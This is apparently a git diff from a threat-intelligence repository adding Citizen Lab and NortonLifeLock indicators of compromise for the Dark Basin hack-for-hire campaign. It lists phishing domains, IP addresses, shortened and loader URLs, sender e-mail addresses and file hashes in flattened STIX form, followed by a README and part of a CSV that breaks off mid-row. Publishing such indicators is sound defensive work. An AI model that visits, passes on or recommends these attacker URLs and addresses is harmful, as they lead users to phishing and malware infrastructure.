IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: izelense.com (MISP Attribute #18551) + Malware Artifacts + Domain Watchlist + Network activity: izelense.com (MISP Attribute #18551) + + + + + izelense.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailanalysis.services (MISP Attribute #18552) + Malware Artifacts + Domain Watchlist + Network activity: mailanalysis.services (MISP Attribute #18552) + + + + + mailanalysis.services + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailcontactanalysis.online (MISP Attribute #18553) + Malware Artifacts + Domain Watchlist + Network activity: mailcontactanalysis.online (MISP Attribute #18553) + + + + + mailcontactanalysis.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailnotes.online (MISP Attribute #18554) + Malware Artifacts + Domain Watchlist + Network activity: mailnotes.online (MISP Attribute #18554) + + + + + mailnotes.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: polarismail.services (MISP Attribute #18555) + Malware Artifacts + Domain Watchlist + Network activity: polarismail.services (MISP Attribute #18555) + + + + + polarismail.services + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: rf.mk (MISP Attribute #18556) + Malware Artifacts + Domain Watchlist + Network activity: rf.mk (MISP Attribute #18556) + + + + + rf.mk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: walkingnote.online (MISP Attribute #18557) + Malware Artifacts + Domain Watchlist + Network activity: walkingnote.online (MISP Attribute #18557) + + + + + walkingnote.online + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: www.msap.services (MISP Attribute #18406) + Malware Artifacts + Domain Watchlist + Network activity: www.msap.services (MISP Attribute #18406) + + + + + www.msap.services + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msap.services (MISP Attribute #18407) + Malware Artifacts + Domain Watchlist + Network activity: msap.services (MISP Attribute #18407) + + + + + msap.services + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.32.75.217 (MISP Attribute #18544) + Malware Artifacts + IP Watchlist + Network activity: 45.32.75.217 (MISP Attribute #18544) + + + + + 45.32.75.217 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.76.149.154 (MISP Attribute #18545) + Malware Artifacts + IP Watchlist + Network activity: 45.76.149.154 (MISP Attribute #18545) + + + + + 45.76.149.154 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.78.79.100 (MISP Attribute #18560) + Malware Artifacts + IP Watchlist + Network activity: 45.78.79.100 (MISP Attribute #18560) + + + + + 45.78.79.100 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 149.28.93.11 (MISP Attribute #18561) + Malware Artifacts + IP Watchlist + Network activity: 149.28.93.11 (MISP Attribute #18561) + + + + + 149.28.93.11 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 95.169.2.57 (MISP Attribute #18562) + Malware Artifacts + IP Watchlist + Network activity: 95.169.2.57 (MISP Attribute #18562) + + + + + 95.169.2.57 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 206.189.65.198 (MISP Attribute #18563) + Malware Artifacts + IP Watchlist + Network activity: 206.189.65.198 (MISP Attribute #18563) + + + + + 206.189.65.198 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 140.82.17.222 (MISP Attribute #18564) + Malware Artifacts + IP Watchlist + Network activity: 140.82.17.222 (MISP Attribute #18564) + + + + + 140.82.17.222 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.76.53.26 (MISP Attribute #18565) + Malware Artifacts + IP Watchlist + Network activity: 45.76.53.26 (MISP Attribute #18565) + + + + + 45.76.53.26 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 45.32.91.137 (MISP Attribute #18566) + Malware Artifacts + IP Watchlist + Network activity: 45.32.91.137 (MISP Attribute #18566) + + + + + 45.32.91.137 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 144.202.59.23 (MISP Attribute #18408) + Malware Artifacts + IP Watchlist + Network activity: 144.202.59.23 (MISP Attribute #18408) + + + + + 144.202.59.23 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 66.42.58.59 (MISP Attribute #18410) + Malware Artifacts + IP Watchlist + Network activity: 66.42.58.59 (MISP Attribute #18410) + + + + + 66.42.58.59 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 43.251.16.87 (MISP Attribute #18411) + Malware Artifacts + IP Watchlist + Network activity: 43.251.16.87 (MISP Attribute #18411) + + + + + 43.251.16.87 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2z1WayM (MISP Attribute #18511) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2z1WayM (MISP Attribute #18511) + + + + + http://bit.ly/2z1WayM + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/1R7mqD (MISP Attribute #18512) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/1R7mqD (MISP Attribute #18512) + + + + + http://www.msap.services/1R7mqD + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2AYy61a (MISP Attribute #18513) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2AYy61a (MISP Attribute #18513) + + + + + http://bit.ly/2AYy61a + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http//www.msap.services/2bKr8Z (MISP Attribute #18514) + Malware Artifacts + URL Watchlist + Network activity: http//www.msap.services/2bKr8Z (MISP Attribute #18514) + + + + + http//www.msap.services/2bKr8Z + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/6FeBOy (MISP Attribute #18515) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/6FeBOy (MISP Attribute #18515) + + + + + http://www.msap.services/6FeBOy + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://suo.im/5ot25j (MISP Attribute #18516) + Malware Artifacts + URL Watchlist + Network activity: http://suo.im/5ot25j (MISP Attribute #18516) + + + + + http://suo.im/5ot25j + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL29wZW4/aWQ9MUlTakl2eFoxX1g5YkdJSnQtMlpKeDRDRWwzdVVhRmlv (MISP Attribute #18517) + Malware Artifacts + URL Watchlist + Network activity: http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL29wZW4/aWQ9MUlTakl2eFoxX1g5YkdJSnQtMlpKeDRDRWwzdVVhRmlv (MISP Attribute #18517) + + + + + http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL29wZW4/aWQ9MUlTakl2eFoxX1g5YkdJSnQtMlpKeDRDRWwzdVVhRmlv + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/yHJbS6 (MISP Attribute #18518) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/yHJbS6 (MISP Attribute #18518) + + + + + http://www.msap.services/yHJbS6 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2qHg3Xt (MISP Attribute #18519) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2qHg3Xt (MISP Attribute #18519) + + + + + http://bit.ly/2qHg3Xt + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/S5gDoN (MISP Attribute #18520) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/S5gDoN (MISP Attribute #18520) + + + + + http://www.msap.services/S5gDoN + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2T2CoeX (MISP Attribute #18521) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2T2CoeX (MISP Attribute #18521) + + + + + http://bit.ly/2T2CoeX + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/EzpOhU (MISP Attribute #18522) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/EzpOhU (MISP Attribute #18522) + + + + + http://www.msap.services/EzpOhU + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2PSvdau (MISP Attribute #18523) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2PSvdau (MISP Attribute #18523) + + + + + http://bit.ly/2PSvdau + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/GfHuRi (MISP Attribute #18524) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/GfHuRi (MISP Attribute #18524) + + + + + http://www.msap.services/GfHuRi + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://suo.im/5okeFb (MISP Attribute #18525) + Malware Artifacts + URL Watchlist + Network activity: http://suo.im/5okeFb (MISP Attribute #18525) + + + + + http://suo.im/5okeFb + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly93d3cubnl0aW1lcy5jb20vMjAxOC8xMS8wMi9vYml0dWFyaWVzL2xvZGktZ3lhcmktZGVhZC5odG1s (MISP Attribute #18526) + Malware Artifacts + URL Watchlist + Network activity: http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly93d3cubnl0aW1lcy5jb20vMjAxOC8xMS8wMi9vYml0dWFyaWVzL2xvZGktZ3lhcmktZGVhZC5odG1s (MISP Attribute #18526) + + + + + http://news.cmitcsubs.tk:5000/web/info?org=aHR0cHM6Ly93d3cubnl0aW1lcy5jb20vMjAxOC8xMS8wMi9vYml0dWFyaWVzL2xvZGktZ3lhcmktZGVhZC5odG1s + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2SVPqdY (MISP Attribute #18527) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2SVPqdY (MISP Attribute #18527) + + + + + http://bit.ly/2SVPqdY + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/F8XGNe (MISP Attribute #18528) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/F8XGNe (MISP Attribute #18528) + + + + + http://www.msap.services/F8XGNe + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2QroNMt (MISP Attribute #18529) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2QroNMt (MISP Attribute #18529) + + + + + http://bit.ly/2QroNMt + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/70FtQX (MISP Attribute #18530) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/70FtQX (MISP Attribute #18530) + + + + + http://www.msap.services/70FtQX + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://msap.services/yHJbS6 (MISP Attribute #18531) + Malware Artifacts + URL Watchlist + Network activity: http://msap.services/yHJbS6 (MISP Attribute #18531) + + + + + http://msap.services/yHJbS6 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2B4GwEf (MISP Attribute #18532) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2B4GwEf (MISP Attribute #18532) + + + + + http://bit.ly/2B4GwEf + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/XgL5A9 (MISP Attribute #18533) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/XgL5A9 (MISP Attribute #18533) + + + + + http://www.msap.services/XgL5A9 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2T6pCMf (MISP Attribute #18534) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2T6pCMf (MISP Attribute #18534) + + + + + http://bit.ly/2T6pCMf + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/ZpzstM (MISP Attribute #18535) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/ZpzstM (MISP Attribute #18535) + + + + + http://www.msap.services/ZpzstM + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://bit.ly/2Drl90q (MISP Attribute #18536) + Malware Artifacts + URL Watchlist + Network activity: http://bit.ly/2Drl90q (MISP Attribute #18536) + + + + + http://bit.ly/2Drl90q + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://www.msap.services/ZQfqzs (MISP Attribute #18537) + Malware Artifacts + URL Watchlist + Network activity: http://www.msap.services/ZQfqzs (MISP Attribute #18537) + + + + + http://www.msap.services/ZQfqzs + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://bit.ly/2MgSRwL (MISP Attribute #18538) + Malware Artifacts + URL Watchlist + Network activity: https://bit.ly/2MgSRwL (MISP Attribute #18538) + + + + + https://bit.ly/2MgSRwL + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://www.energy-mail.org/B20V54 (MISP Attribute #18539) + Malware Artifacts + URL Watchlist + Network activity: https://www.energy-mail.org/B20V54 (MISP Attribute #18539) + + + + + https://www.energy-mail.org/B20V54 + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: https://bit.ly/2XePmYt (MISP Attribute #18540) + Malware Artifacts + URL Watchlist + Network activity: https://bit.ly/2XePmYt (MISP Attribute #18540) + + + + + https://bit.ly/2XePmYt + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://45.76.149.154:5000/web/info?org=aHR0cDovL3d3dy5waGF5dWwuY29tL25ld3MvYXJ0aWNsZS5hc3B4P2lkPTQxNDc0JmZiY2xpZD1Jd0FSM1RadGdjanppUkhNZFJuOEdhZ1RMUV9iMHFrX0VBZWY2YldxRU5SanhaZkkzRFdPNFpsRExPcFdz (MISP Attribute #18541) + Malware Artifacts + URL Watchlist + Network activity: http://45.76.149.154:5000/web/info?org=aHR0cDovL3d3dy5waGF5dWwuY29tL25ld3MvYXJ0aWNsZS5hc3B4P2lkPTQxNDc0JmZiY2xpZD1Jd0FSM1RadGdjanppUkhNZFJuOEdhZ1RMUV9iMHFrX0VBZWY2YldxRU5SanhaZkkzRFdPNFpsRExPcFdz (MISP Attribute #18541) + + + + + http://45.76.149.154:5000/web/info?org=aHR0cDovL3d3dy5waGF5dWwuY29tL25ld3MvYXJ0aWNsZS5hc3B4P2lkPTQxNDc0JmZiY2xpZD1Jd0FSM1RadGdjanppUkhNZFJuOEdhZ1RMUV9iMHFrX0VBZWY2YldxRU5SanhaZkkzRFdPNFpsRExPcFdz + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: http://43.251.16.87:5000//dev/loader (MISP Attribute #18543) + Malware Artifacts + URL Watchlist + Network activity: http://43.251.16.87:5000//dev/loader (MISP Attribute #18543) + + + + + http://43.251.16.87:5000//dev/loader + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hots scot (MISP Attribute #18576) + Malware Artifacts + Network activity: hots scot (MISP Attribute #18576) + + + + + + + + + hots scot + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: antmoving.online@gmail.com (MISP Attribute #18568) + Malware Artifacts + Malicious E-mail + Payload delivery: antmoving.online@gmail.com (MISP Attribute #18568) + + + + + + + antmoving.online@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: energymail.org@gmail.com (MISP Attribute #18569) + Malware Artifacts + Malicious E-mail + Payload delivery: energymail.org@gmail.com (MISP Attribute #18569) + + + + + + + energymail.org@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: jameslewis199106@gmail.com (MISP Attribute #18570) + Malware Artifacts + Malicious E-mail + Payload delivery: jameslewis199106@gmail.com (MISP Attribute #18570) + + + + + + + jameslewis199106@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: touchxun658@gmail.com (MISP Attribute #18571) + Malware Artifacts + Malicious E-mail + Payload delivery: touchxun658@gmail.com (MISP Attribute #18571) + + + + + + + touchxun658@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 6977e6098815cd91016be9d76f194ed4622640d03c6cdd66b1032306a2190af7 (MISP Attribute #18572) + Malware Artifacts + File Hash Watchlist + Payload delivery: 6977e6098815cd91016be9d76f194ed4622640d03c6cdd66b1032306a2190af7 (MISP Attribute #18572) + + + + + + + SHA256 + 6977e6098815cd91016be9d76f194ed4622640d03c6cdd66b1032306a2190af7 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: e510c361c8101384277dd95cc2c8e76715dd241f58553f592245b620422beaf3 (MISP Attribute #18573) + Malware Artifacts + File Hash Watchlist + Payload delivery: e510c361c8101384277dd95cc2c8e76715dd241f58553f592245b620422beaf3 (MISP Attribute #18573) + + + + + + + SHA256 + e510c361c8101384277dd95cc2c8e76715dd241f58553f592245b620422beaf3 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 0d13e403303b52edae6beb76a6fe7ed454f340aae1246b9a3f55ca728da2d6aa (MISP Attribute #18574) + Malware Artifacts + File Hash Watchlist + Payload delivery: 0d13e403303b52edae6beb76a6fe7ed454f340aae1246b9a3f55ca728da2d6aa (MISP Attribute #18574) + + + + + + + SHA256 + 0d13e403303b52edae6beb76a6fe7ed454f340aae1246b9a3f55ca728da2d6aa + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: b85fe634f3c5b1022a1adbc21f3b85b58451ca2b89e9380fc5f22b9340a18b88 (MISP Attribute #18575) + Malware Artifacts + File Hash Watchlist + Payload delivery: b85fe634f3c5b1022a1adbc21f3b85b58451ca2b89e9380fc5f22b9340a18b88 (MISP Attribute #18575) + + + + + + + SHA256 + b85fe634f3c5b1022a1adbc21f3b85b58451ca2b89e9380fc5f22b9340a18b88 + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/README.md b/data/ioc/spyware/citizen_lab/202006_DarkBasin/README.md new file mode 100644 index 0000000..d0ea266 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/README.md @@ -0,0 +1,16 @@ +## Dark Basin Indicators of Compromise + +This list of IOCs is being jointly released by Citizen Lab and NortonLifeLock, further to reports released on June 9, 2020. + +Citizen Lab Report: [Dark Basin: Uncovering a Massive Hack-For-Hire Operation](https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/) + +NortonLifeLock Report: [Mercenary.Amanda](https://www.nortonlifelock.com/blogs/security-response/mercenary-amanda-professional-hackers-hire) + +Note: _NortonLifeLock tracks Dark Basin as Mercenary.Amanda_ + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* misp.json : IOCs in MISP format +* snort.rules: IOCs as a Snort ruleset. diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/iocs.csv b/data/ioc/spyware/citizen_lab/202006_DarkBasin/iocs.csv new file mode 100644 index 0000000..4f89c5c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/iocs.csv @@ -0,0 +1,480 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5ede974a-00d8-4bb1-a02e-7a498064ab0b,147,Network activity,domain,"com-website33.org","",1,20200608 +5ede974a-0118-48e1-8d89-7a498064ab0b,147,Network activity,domain,"srtnr.co","",1,20200608 +5ede974a-014c-453e-b000-7a498064ab0b,147,Network activity,domain,"ecom-servicelogin.com","",1,20200608 +5ede974a-0284-4135-adbb-7a498064ab0b,147,Network activity,domain,"emailserver499.com","",1,20200608 +5ede974a-03f8-4089-9ec3-7a498064ab0b,147,Network activity,domain,"mailhostingsecurenet.com","",1,20200608 +5ede974a-0440-45bf-af15-7a498064ab0b,147,Network activity,domain,"domainblacklistcheck.com","",1,20200608 +5ede974a-0644-4281-87ba-7a498064ab0b,147,Network activity,domain,"corn-en-us.com","",1,20200608 +5ede974a-06d8-4dfd-899b-7a498064ab0b,147,Network activity,domain,"lnkshrtnr.com","",1,20200608 +5ede974a-0968-4995-8b4b-7a498064ab0b,147,Network activity,domain,"2mblk.com","",1,20200608 +5ede974a-0a08-4a29-a4a3-7a498064ab0b,147,Network activity,domain,"mailtickr.com","",1,20200608 +5ede974a-0ac4-408b-b5e4-7a498064ab0b,147,Network activity,domain,"corn-loginservicesverified.com","",1,20200608 +5ede974a-0c88-45e2-8ab3-7a498064ab0b,147,Network activity,domain,"domainmanager33.website","",1,20200608 +5ede974a-0d58-42d4-8444-7a498064ab0b,147,Network activity,domain,"mailserverenterprise.com","",1,20200608 +5ede974a-0d88-4041-bb35-7a498064ab0b,147,Network activity,domain,"emailseverrus23.com","",1,20200608 +5ede974a-0d88-4db6-8d5d-7a498064ab0b,147,Network activity,domain,"msrvrgh.com","",1,20200608 +5ede974a-0e30-4512-be41-7a498064ab0b,147,Network activity,domain,"mailserver89.org","",1,20200608 +5ede974a-0f94-4924-8a79-7a498064ab0b,147,Network activity,domain,"webserverhollandservice.com","",1,20200608 +5ede974a-124c-417d-a74e-7a498064ab0b,147,Network activity,domain,"webnetonlineservice.com","",1,20200608 +5ede974a-1394-4cd7-b32d-7a498064ab0b,147,Network activity,domain,"ablyazovangels.com","",1,20200608 +5ede974a-1408-409d-98b3-7a498064ab0b,147,Network activity,domain,"mailauthenticatorservice.com","",1,20200608 +5ede974a-155c-49d2-b611-7a498064ab0b,147,Network activity,domain,"redirectonline.xyz","",1,20200608 +5ede974a-15c4-4f56-9c76-7a498064ab0b,147,Network activity,domain,"srtnr.com","",1,20200608 +5ede974a-1770-4e23-b405-7a498064ab0b,147,Network activity,domain,"webmasterserver39.com","",1,20200608 +5ede974a-1bd0-42d0-bdd1-7a498064ab0b,147,Network activity,domain,"webserver91.website","",1,20200608 +5ede974a-1c10-41e3-a906-7a498064ab0b,147,Network activity,domain,"mailserverru2099.com","",1,20200608 +5ede974a-1e90-4e26-9a90-7a498064ab0b,147,Network activity,domain,"phpwebserver34.tech","",1,20200608 +5ede974a-1eb8-428d-b36b-7a498064ab0b,147,Network activity,domain,"short-ner.com","",1,20200608 +5ede974a-1f64-4635-a8e9-7a498064ab0b,147,Network activity,domain,"comservicelogin.com","",1,20200608 +5ede974a-1fac-46a2-9be7-7a498064ab0b,147,Network activity,domain,"corn-lang-eng.com","",1,20200608 +5ede974a-2038-46e4-9331-7a498064ab0b,147,Network activity,domain,"mailserveruk.com","",1,20200608 +5ede974a-2178-458e-a517-7a498064ab0b,147,Network activity,domain,"hostmailsecureserver.com","",1,20200608 +5ede974a-2198-4e07-b618-7a498064ab0b,147,Network activity,domain,"netcomserviceonline.com","",1,20200608 +5ede974a-26c0-48ae-be69-7a498064ab0b,147,Network activity,domain,"strurl.click","",1,20200608 +5ede974a-28b0-4f26-b8ed-7a498064ab0b,147,Network activity,domain,"extranetserviceonline.com","",1,20200608 +5ede974a-2b90-4d94-aa1a-7a498064ab0b,147,Network activity,domain,"domainserver322.com","",1,20200608 +5ede974a-31a0-49cb-b011-7a498064ab0b,147,Network activity,domain,"allaboutiot.website","",1,20200608 +5ede974a-322c-450d-ad4a-7a498064ab0b,147,Network activity,domain,"serverforshort.com","",1,20200608 +5ede974a-33a0-4ca5-8ef5-7a498064ab0b,147,Network activity,domain,"mailcommunicationservice.com","",1,20200608 +5ede974a-3484-42bd-ad35-7a498064ab0b,147,Network activity,domain,"hostemailserver.com","",1,20200608 +5ede974a-376c-4b9f-92c5-7a498064ab0b,147,Network activity,domain,"servergateway56.com","",1,20200608 +5ede974a-3a84-4dc8-9919-7a498064ab0b,147,Network activity,domain,"msrvrgeh.com","",1,20200608 +5ede974a-3aa4-42eb-9d3d-7a498064ab0b,147,Network activity,domain,"shrtnerlnk.com","",1,20200608 +5ede974a-3bf4-44f6-b012-7a498064ab0b,147,Network activity,domain,"com-website33.com","",1,20200608 +5ede974a-3f64-4f6e-849d-7a498064ab0b,147,Network activity,domain,"nodeserver50.com","",1,20200608 +5ede974a-40d0-4407-8e21-7a498064ab0b,147,Network activity,domain,"mailserver89.com","",1,20200608 +5ede974a-4134-4408-bffb-7a498064ab0b,147,Network activity,domain,"ablyazovcog.com","",1,20200608 +5ede974a-4514-446e-b980-7a498064ab0b,147,Network activity,domain,"servermain43.com","",1,20200608 +5ede974a-4744-4707-8722-7a498064ab0b,147,Network activity,domain,"servermailing34.com","",1,20200608 +5ede974a-4a18-483e-889b-7a498064ab0b,147,Network activity,domain,"newserver39.com","",1,20200608 +5ede974a-4a5c-467a-93ee-7a498064ab0b,147,Network activity,domain,"serversap54.com","",1,20200608 +5ede974a-4c68-4da6-9f19-7a498064ab0b,147,Network activity,domain,"emailvalidateservice.com","",1,20200608 +5ede974a-4eb0-4f7b-acd7-7a498064ab0b,147,Network activity,domain,"corn-servicelogin.com","",1,20200608 +5ede974a-50e0-4cc7-8527-7a498064ab0b,147,Network activity,domain,"mailserveruk89.org","",1,20200608 +5ede974a-515c-4ed2-b281-7a498064ab0b,147,Network activity,domain,"domainmanager33.com","",1,20200608 +5ede974a-51b4-470b-8bc8-7a498064ab0b,147,Network activity,domain,"rockerhostings.com","",1,20200608 +5ede974a-525c-4396-ba4d-7a498064ab0b,147,Network activity,domain,"servermappingserviceonline.com","",1,20200608 +5ede974a-54c4-40da-ab7f-7a498064ab0b,147,Network activity,domain,"mailservershare.com","",1,20200608 +5ede974a-5594-49f9-9ea6-7a498064ab0b,147,Network activity,domain,"euanticorruption.com","",1,20200608 +5ede974a-55b4-4f05-bb4a-7a498064ab0b,147,Network activity,domain,"mailmarknotes.com","",1,20200608 +5ede974a-563c-4c15-ba60-7a498064ab0b,147,Network 